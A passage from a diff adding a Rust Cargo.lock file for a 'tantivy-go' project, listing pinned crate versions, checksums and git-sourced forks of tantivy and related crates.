-+checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
-+dependencies = [
-+ "cfg-if",
-+ "libc",
-+ "wasi 0.11.1+wasi-snapshot-preview1",
-+]
-+
-+[[package]]
-+name = "getrandom"
-+version = "0.3.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
-+dependencies = [
-+ "cfg-if",
-+ "libc",
-+ "r-efi",
-+ "wasi 0.14.2+wasi-0.2.4",
-+]
-+
-+[[package]]
-+name = "hashbrown"
-+version = "0.14.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
-+dependencies = [
-+ "ahash",
-+ "allocator-api2",
-+]
-+
-+[[package]]
-+name = "hashbrown"
-+version = "0.15.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1"
-+dependencies = [
-+ "allocator-api2",
-+ "equivalent",
-+ "foldhash",
-+]
-+
-+[[package]]
-+name = "heck"
-+version = "0.4.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
-+
-+[[package]]
-+name = "htmlescape"
-+version = "0.3.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e9025058dae765dee5070ec375f591e2ba14638c63feff74f13805a72e523163"
-+
-+[[package]]
-+name = "hyperloglogplus"
-+version = "0.4.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "621debdf94dcac33e50475fdd76d34d5ea9c0362a834b9db08c3024696c1fbe3"
-+dependencies = [
-+ "serde",
-+]
-+
-+[[package]]
-+name = "ident_case"
-+version = "1.0.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"
-+
-+[[package]]
-+name = "include-flate"
-+version = "0.3.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "df49c16750695486c1f34de05da5b7438096156466e7f76c38fcdf285cf0113e"
-+dependencies = [
-+ "include-flate-codegen",
-+ "lazy_static",
-+ "libflate",
-+]
-+
-+[[package]]
-+name = "include-flate-codegen"
-+version = "0.2.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8c5b246c6261be723b85c61ecf87804e8ea4a35cb68be0ff282ed84b95ffe7d7"
-+dependencies = [
-+ "libflate",
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "indexmap"
-+version = "2.10.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661"
-+dependencies = [
-+ "equivalent",
-+ "hashbrown 0.15.5",
-+]
-+
-+[[package]]
-+name = "is_terminal_polyfill"
-+version = "1.70.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
-+
-+[[package]]
-+name = "itertools"
-+version = "0.14.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285"
-+dependencies = [
-+ "either",
-+]
-+
-+[[package]]
-+name = "itoa"
-+version = "1.0.15"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
-+
-+[[package]]
-+name = "jieba-macros"
-+version = "0.7.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7c676b32a471d3cfae8dac2ad2f8334cd52e53377733cca8c1fb0a5062fec192"
-+dependencies = [
-+ "phf_codegen",
-+]
-+
-+[[package]]
-+name = "jieba-rs"
-+version = "0.7.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f5dd552bbb95d578520ee68403bf8aaf0dbbb2ce55b0854d019f9350ad61040a"
-+dependencies = [
-+ "cedarwood",
-+ "fxhash",
-+ "include-flate",
-+ "jieba-macros",
-+ "lazy_static",
-+ "phf",
-+ "regex",
-+]
-+
-+[[package]]
-+name = "jiff"
-+version = "0.2.15"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "be1f93b8b1eb69c77f24bbb0afdf66f54b632ee39af40ca21c4365a1d7347e49"
-+dependencies = [
-+ "jiff-static",
-+ "log",
-+ "portable-atomic",
-+ "portable-atomic-util",
-+ "serde",
-+]
-+
-+[[package]]
-+name = "jiff-static"
-+version = "0.2.15"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "03343451ff899767262ec32146f6d559dd759fdadf42ff0e227c7c48f72594b4"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "jobserver"
-+version = "0.1.33"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "38f262f097c174adebe41eb73d66ae9c06b2844fb0da69969647bbddd9b0538a"
-+dependencies = [
-+ "getrandom 0.3.3",
-+ "libc",
-+]
-+
-+[[package]]
-+name = "js-sys"
-+version = "0.3.77"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
-+dependencies = [
-+ "once_cell",
-+ "wasm-bindgen",
-+]
-+
-+[[package]]
-+name = "lazy_static"
-+version = "1.5.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
-+
-+[[package]]
-+name = "levenshtein_automata"
-+version = "0.2.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "0c2cdeb66e45e9f36bfad5bbdb4d2384e70936afbee843c6f6543f0c551ebb25"
-+
-+[[package]]
-+name = "libc"
-+version = "0.2.174"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776"
-+
-+[[package]]
-+name = "libflate"
-+version = "2.1.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "45d9dfdc14ea4ef0900c1cddbc8dcd553fbaacd8a4a282cf4018ae9dd04fb21e"
-+dependencies = [
-+ "adler32",
-+ "core2",
-+ "crc32fast",
-+ "dary_heap",
-+ "libflate_lz77",
-+]
-+
-+[[package]]
-+name = "libflate_lz77"
-+version = "2.1.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e6e0d73b369f386f1c44abd9c570d5318f55ccde816ff4b562fa452e5182863d"
-+dependencies = [
-+ "core2",
-+ "hashbrown 0.14.5",
-+ "rle-decode-fast",
-+]
-+
-+[[package]]
-+name = "libm"
-+version = "0.2.15"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de"
-+
-+[[package]]
-+name = "linux-raw-sys"
-+version = "0.4.15"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
-+
-+[[package]]
-+name = "linux-raw-sys"
-+version = "0.9.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
-+
-+[[package]]
-+name = "log"
-+version = "0.4.27"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94"
-+
-+[[package]]
-+name = "logcall"
-+version = "0.1.11"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "56e8309d7cbf9e9f27139956138cb375f14621cdb2f4cdd91468467ec04b6784"
-+dependencies = [
-+ "proc-macro-error",
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "lru"
-+version = "0.12.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "234cf4f4a04dc1f57e24b96cc0cd600cf2af460d4161ac5ecdd0af8e1f3b2a38"
-+dependencies = [
-+ "hashbrown 0.15.5",
-+]
-+
-+[[package]]
-+name = "lz4_flex"
-+version = "0.11.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "08ab2867e3eeeca90e844d1940eab391c9dc5228783db2ed999acbc0a9ed375a"
-+
-+[[package]]
-+name = "measure_time"
-+version = "0.9.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "51c55d61e72fc3ab704396c5fa16f4c184db37978ae4e94ca8959693a235fc0e"
-+dependencies = [
-+ "log",
-+]
-+
-+[[package]]
-+name = "memchr"
-+version = "2.7.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0"
-+
-+[[package]]
-+name = "memmap2"
-+version = "0.9.7"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "483758ad303d734cec05e5c12b41d7e93e6a6390c5e9dae6bdeb7c1259012d28"
-+dependencies = [
-+ "libc",
-+]
-+
-+[[package]]
-+name = "minimal-lexical"
-+version = "0.2.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
-+
-+[[package]]
-+name = "murmurhash32"
-+version = "0.3.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2195bf6aa996a481483b29d62a7663eed3fe39600c460e323f8ff41e90bdd89b"
-+
-+[[package]]
-+name = "nom"
-+version = "7.1.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
-+dependencies = [
-+ "memchr",
-+ "minimal-lexical",
-+]
-+
-+[[package]]
-+name = "num-conv"
-+version = "0.1.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
-+
-+[[package]]
-+name = "num-traits"
-+version = "0.2.19"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
-+dependencies = [
-+ "autocfg",
-+ "libm",
-+]
-+
-+[[package]]
-+name = "once_cell"
-+version = "1.21.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
-+
-+[[package]]
-+name = "once_cell_polyfill"
-+version = "1.70.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad"
-+
-+[[package]]
-+name = "oneshot"
-+version = "0.1.11"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b4ce411919553d3f9fa53a0880544cda985a112117a0444d5ff1e870a893d6ea"
-+
-+[[package]]
-+name = "ownedbytes"
-+version = "0.7.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "stable_deref_trait",
-+]
-+
-+[[package]]
-+name = "phf"
-+version = "0.11.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1fd6780a80ae0c52cc120a26a1a42c1ae51b247a253e4e06113d23d2c2edd078"
-+dependencies = [
-+ "phf_macros",
-+ "phf_shared",
-+]
-+
-+[[package]]
-+name = "phf_codegen"
-+version = "0.11.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "aef8048c789fa5e851558d709946d6d79a8ff88c0440c587967f8e94bfb1216a"
-+dependencies = [
-+ "phf_generator",
-+ "phf_shared",
-+]
-+
-+[[package]]
-+name = "phf_generator"
-+version = "0.11.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3c80231409c20246a13fddb31776fb942c38553c51e871f8cbd687a4cfb5843d"
-+dependencies = [
-+ "phf_shared",
-+ "rand",
-+]
-+
-+[[package]]
-+name = "phf_macros"
-+version = "0.11.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f84ac04429c13a7ff43785d75ad27569f2951ce0ffd30a3321230db2fc727216"
-+dependencies = [
-+ "phf_generator",
-+ "phf_shared",
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "phf_shared"
-+version = "0.11.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "67eabc2ef2a60eb7faa00097bd1ffdb5bd28e62bf39990626a582201b7a754e5"
-+dependencies = [
-+ "siphasher",
-+]
-+
-+[[package]]
-+name = "pin-project-lite"
-+version = "0.2.16"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
-+
-+[[package]]
-+name = "pin-utils"
-+version = "0.1.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-+
-+[[package]]
-+name = "pkg-config"
-+version = "0.3.32"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
-+
-+[[package]]
-+name = "portable-atomic"
-+version = "1.11.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f84267b20a16ea918e43c6a88433c2d54fa145c92a811b5b047ccbe153674483"
-+
-+[[package]]
-+name = "portable-atomic-util"
-+version = "0.2.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d8a2f0d8d040d7848a709caf78912debcc3f33ee4b3cac47d73d1e1069e83507"
-+dependencies = [
-+ "portable-atomic",
-+]
-+
-+[[package]]
-+name = "powerfmt"
-+version = "0.2.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
-+
-+[[package]]
-+name = "ppv-lite86"
-+version = "0.2.21"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
-+dependencies = [
-+ "zerocopy",
-+]
-+
-+[[package]]
-+name = "prettyplease"
-+version = "0.2.36"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2"
-+dependencies = [
-+ "proc-macro2",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "proc-macro-error"
-+version = "1.0.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
-+dependencies = [
-+ "proc-macro-error-attr",
-+ "proc-macro2",
-+ "quote",
-+ "syn 1.0.109",
-+ "version_check",
-+]
-+
-+[[package]]
-+name = "proc-macro-error-attr"
-+version = "1.0.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "version_check",
-+]
-+
-+[[package]]
-+name = "proc-macro2"
-+version = "1.0.95"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778"
-+dependencies = [
-+ "unicode-ident",
-+]
-+
-+[[package]]
-+name = "quote"
-+version = "1.0.40"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
-+dependencies = [
-+ "proc-macro2",
-+]
-+
-+[[package]]
-+name = "r-efi"
-+version = "5.3.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
-+
-+[[package]]
-+name = "rand"
-+version = "0.8.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-+dependencies = [
-+ "libc",
-+ "rand_chacha",
-+ "rand_core",
-+]
-+
-+[[package]]
-+name = "rand_chacha"
-+version = "0.3.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-+dependencies = [
-+ "ppv-lite86",
-+ "rand_core",
-+]
-+
-+[[package]]
-+name = "rand_core"
-+version = "0.6.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
-+dependencies = [
-+ "getrandom 0.2.16",
-+]
-+
-+[[package]]
-+name = "rand_distr"
-+version = "0.4.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "32cb0b9bc82b0a0876c2dd994a7e7a2683d3e7390ca40e6886785ef0c7e3ee31"
-+dependencies = [
-+ "num-traits",
-+ "rand",
-+]
-+
-+[[package]]
-+name = "rayon"
-+version = "1.10.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa"
-+dependencies = [
-+ "either",
-+ "rayon-core",
-+]
-+
-+[[package]]
-+name = "rayon-core"
-+version = "1.12.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
-+dependencies = [
-+ "crossbeam-deque",
-+ "crossbeam-utils",
-+]
-+
-+[[package]]
-+name = "regex"
-+version = "1.11.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
-+dependencies = [
-+ "aho-corasick",
-+ "memchr",
-+ "regex-automata",
-+ "regex-syntax",
-+]
-+
-+[[package]]
-+name = "regex-automata"
-+version = "0.4.9"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
-+dependencies = [
-+ "aho-corasick",
-+ "memchr",
-+ "regex-syntax",
-+]
-+
-+[[package]]
-+name = "regex-syntax"
-+version = "0.8.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
-+
-+[[package]]
-+name = "rle-decode-fast"
-+version = "1.0.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3582f63211428f83597b51b2ddb88e2a91a9d52d12831f9d08f5e624e8977422"
-+
-+[[package]]
-+name = "rust-stemmers"
-+version = "1.2.0"
-+source = "git+https://github.com/silver-ymz/rust-stemmers.git?rev=51696378e352688b7ffd4fface615370ff5e8768#51696378e352688b7ffd4fface615370ff5e8768"
-+
-+[[package]]
-+name = "rustc-hash"
-+version = "2.1.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
-+
-+[[package]]
-+name = "rustix"
-+version = "0.38.44"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
-+dependencies = [
-+ "bitflags",
-+ "errno",
-+ "libc",
-+ "linux-raw-sys 0.4.15",
-+ "windows-sys 0.59.0",
-+]
-+
-+[[package]]
-+name = "rustix"
-+version = "1.0.8"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8"
-+dependencies = [
-+ "bitflags",
-+ "errno",
-+ "libc",
-+ "linux-raw-sys 0.9.4",
-+ "windows-sys 0.60.2",
-+]
-+
-+[[package]]
-+name = "rustversion"
-+version = "1.0.21"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
-+
-+[[package]]
-+name = "ryu"
-+version = "1.0.20"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
-+
-+[[package]]
-+name = "serde"
-+version = "1.0.219"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
-+dependencies = [
-+ "serde_derive",
-+]
-+
-+[[package]]
-+name = "serde_derive"
-+version = "1.0.219"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "serde_json"
-+version = "1.0.142"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "030fedb782600dcbd6f02d479bf0d817ac3bb40d644745b769d6a96bc3afc5a7"
-+dependencies = [
-+ "itoa",
-+ "memchr",
-+ "ryu",
-+ "serde",
-+]
-+
-+[[package]]
-+name = "serde_spanned"
-+version = "0.6.9"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3"
-+dependencies = [
-+ "serde",
-+]
-+
-+[[package]]
-+name = "shlex"
-+version = "1.3.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
-+
-+[[package]]
-+name = "siphasher"
-+version = "1.0.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "56199f7ddabf13fe5074ce809e7d3f42b42ae711800501b5b16ea82ad029c39d"
-+
-+[[package]]
-+name = "sketches-ddsketch"
-+version = "0.3.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c1e9a774a6c28142ac54bb25d25562e6bcf957493a184f15ad4eebccb23e410a"
-+dependencies = [
-+ "serde",
-+]
-+
-+[[package]]
-+name = "slab"
-+version = "0.4.11"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7a2ae44ef20feb57a68b23d846850f861394c2e02dc425a50098ae8c90267589"
-+
-+[[package]]
-+name = "smallvec"
-+version = "1.15.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
-+
-+[[package]]
-+name = "stable_deref_trait"
-+version = "1.2.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
-+
-+[[package]]
-+name = "strsim"
-+version = "0.11.1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
-+
-+[[package]]
-+name = "syn"
-+version = "1.0.109"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
-+dependencies = [
-+ "proc-macro2",
-+ "unicode-ident",
-+]
-+
-+[[package]]
-+name = "syn"
-+version = "2.0.104"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "unicode-ident",
-+]
-+
-+[[package]]
-+name = "tantivy"
-+version = "0.23.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "aho-corasick",
-+ "arc-swap",
-+ "base64",
-+ "bitpacking",
-+ "bon",
-+ "byteorder",
-+ "census",
-+ "crc32fast",
-+ "crossbeam-channel",
-+ "downcast-rs",
-+ "fastdivide",
-+ "fnv",
-+ "fs4",
-+ "htmlescape",
-+ "hyperloglogplus",
-+ "itertools",
-+ "levenshtein_automata",
-+ "log",
-+ "lru",
-+ "lz4_flex",
-+ "measure_time",
-+ "memmap2",
-+ "once_cell",
-+ "oneshot",
-+ "rayon",
-+ "regex",
-+ "rust-stemmers",
-+ "rustc-hash",
-+ "serde",
-+ "serde_json",
-+ "sketches-ddsketch",
-+ "smallvec",
-+ "tantivy-bitpacker",
-+ "tantivy-columnar",
-+ "tantivy-common",
-+ "tantivy-fst",
-+ "tantivy-query-grammar",
-+ "tantivy-stacker",
-+ "tantivy-tokenizer-api",
-+ "tempfile",
-+ "thiserror",
-+ "time",
-+ "uuid",
-+ "winapi",
-+]
-+
-+[[package]]
-+name = "tantivy-bitpacker"
-+version = "0.6.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "bitpacking",
-+]
-+
-+[[package]]
-+name = "tantivy-columnar"
-+version = "0.3.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "downcast-rs",
-+ "fastdivide",
-+ "itertools",
-+ "serde",
-+ "tantivy-bitpacker",
-+ "tantivy-common",
-+ "tantivy-sstable",
-+ "tantivy-stacker",
-+]
-+
-+[[package]]
-+name = "tantivy-common"
-+version = "0.7.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "async-trait",
-+ "byteorder",
-+ "ownedbytes",
-+ "serde",
-+ "time",
-+]
-+
-+[[package]]
-+name = "tantivy-fst"
-+version = "0.5.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d60769b80ad7953d8a7b2c70cdfe722bbcdcac6bccc8ac934c40c034d866fc18"
-+dependencies = [
-+ "byteorder",
-+ "regex-syntax",
-+ "utf8-ranges",
-+]
-+
-+[[package]]
-+name = "tantivy-go"
-+version = "1.0.0"
-+dependencies = [
-+ "cbindgen",
-+ "crunchy",
-+ "env_logger",
-+ "lazy_static",
-+ "log",
-+ "logcall",
-+ "phf",
-+ "serde",
-+ "serde_json",
-+ "tantivy",
-+ "tantivy-jieba",
-+ "unicode-segmentation",
-+]
-+
-+[[package]]
-+name = "tantivy-jieba"
-+version = "0.11.0"
-+source = "git+https://github.com/anyproto/tantivy-jieba.git?rev=ca11d3153b8844cbc43cd243667e03f56f6d1e18#ca11d3153b8844cbc43cd243667e03f56f6d1e18"
-+dependencies = [
-+ "jieba-rs",
-+ "lazy_static",
-+ "tantivy-tokenizer-api",
-+]
-+
-+[[package]]
-+name = "tantivy-query-grammar"
-+version = "0.22.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "nom",
-+]
-+
-+[[package]]
-+name = "tantivy-sstable"
-+version = "0.3.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "futures-util",
-+ "itertools",
-+ "tantivy-bitpacker",
-+ "tantivy-common",
-+ "tantivy-fst",
-+ "zstd",
-+]
-+
-+[[package]]
-+name = "tantivy-stacker"
-+version = "0.3.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "murmurhash32",
-+ "rand_distr",
-+ "tantivy-common",
-+]
-+
-+[[package]]
-+name = "tantivy-tokenizer-api"
-+version = "0.3.0"
-+source = "git+https://github.com/anyproto/tantivy.git?rev=693274a5d4be6da9d069dff4d540162165a99b0e#693274a5d4be6da9d069dff4d540162165a99b0e"
-+dependencies = [
-+ "serde",
-+]
-+
-+[[package]]
-+name = "tempfile"
-+version = "3.20.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
-+dependencies = [
-+ "fastrand",
-+ "getrandom 0.3.3",
-+ "once_cell",
-+ "rustix 1.0.8",
-+ "windows-sys 0.59.0",
-+]
-+
